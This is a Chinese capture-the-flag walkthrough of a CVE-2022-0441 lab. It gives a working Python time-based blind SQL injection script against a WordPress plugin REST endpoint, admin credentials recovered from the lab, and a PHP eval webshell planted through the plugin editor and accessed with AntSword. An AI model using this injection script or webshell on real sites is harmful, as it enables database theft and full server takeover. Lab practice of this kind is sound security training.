春秋云境CVE-2022-0441(保姆级教学)

1.阅读靶场介绍

这里我们可以看到的就是由于插件引发的漏洞

具体思路就是编写脚本插件,然后改为木马并且启用

最后完成中国蚁剑板块的websehll

带着这个思路我们开启征程吧

2.启动靶场

我们会得到如下页面

这里博主也有做额外的页面测试,没有得到一个有效的结果

这里我们直接拼接/admin去找到后台

相信很多彦祖和亦非们曾今都会卡在这里

无论是弱口令/空口令/还是暴力破解都得不到

有效的账号/密码去进入后台

这里博主是跑一个脚本去登入到后台的

各位可以参考参考

import requests
import time
 
def time_delay(url, headers, payload):
    start_time = time.time()
    response = requests.post(url, headers=headers, data=payload)
    end_time = time.time()
    #print(end_time,start_time)
    delay = end_time - start_time
    return delay
 
def time_based_blind_sql_injection(url, headers):
    result=[]
    for i in range(1, 100):
        for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':
            #find db
            #payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)
            #find table
            #payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
            #find table -wp%
            payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
            #find column
            #payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
            payload = """{"id":" (if(ascii(substr((select flag from ctf.flag),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
            delay = time_delay(url, headers, payload)
            print('{ ',''.join(result),' } ->',i,'-',j,"time_delay:",delay)
            if delay > 9:
                result.append(chr(j))
                print(''.join(result))
                break
    else:
        print("The payload is not vulnerable to SQL injection.")
    print('result:',''.join(result))


if __name__ == "__main__":
    url = "https://eci-2zecxtkbjkqos2volkuy.cloudeci1.ichunqiu.com/index.php?rest_route=/xs-donate-form/payment-redirect/3"
    headers = {
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': '_ga=GA1.2.617032228.1689668529; _ga_J1DQF09WZC=GS1.2.1689668531.1.0.1689668531.0.0.0',
    'Connection': 'close',
    'Content-Type': 'application/json',
    }
    
    time_based_blind_sql_injection(url, headers)

使用idle(python编辑器)放上面的代码

然后用法如下,win+r然后cmd

这里的文件路径和url都是不一致的,各位需要对应修改

出现如下结果证明是成功的

然后我们跑回来登入界面

这里就可以用这个账号/密码:david@domainexample.com/Admin@123

去登入后台

这里我们需要点击更新哟

然后我们会进入一个这样的界面

如果卡在上面那个界面进不去的小伙伴们

这里要保持一直用https这个协议哟

下一步我们找到插件然后点击插件编辑器

如下图所示

这里我们点击我明白

接下里我们在右边那个地方选择这个选项

然后在左边的代码去输入如下代码

@eval($_POST[cmd]);

然后这里需要点击更新文件

完成以后它会显示

然后我们回到已安装插件

找到你好多莉,点击启用

3.webshell环节

启动中国蚁剑

其中url路径为

https://eci-2ze9foj8a8eqorl8isl6.cloudeci1.ichunqiu.com/wp-admin/plugin-editor.php?file=hello.php

进去以后我们就可以很顺利的找到flag这个大宝贝了

到此相信聪明的亦非彦祖们又攻克一个靶场了

感谢你们宝贵的时间

创作不易,喜欢博主的各位帅哥美女们,期待你们的一键三连

有不懂欢迎留言,博主会一一解答哟

期待博主攻克任何靶场的也欢迎留言

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值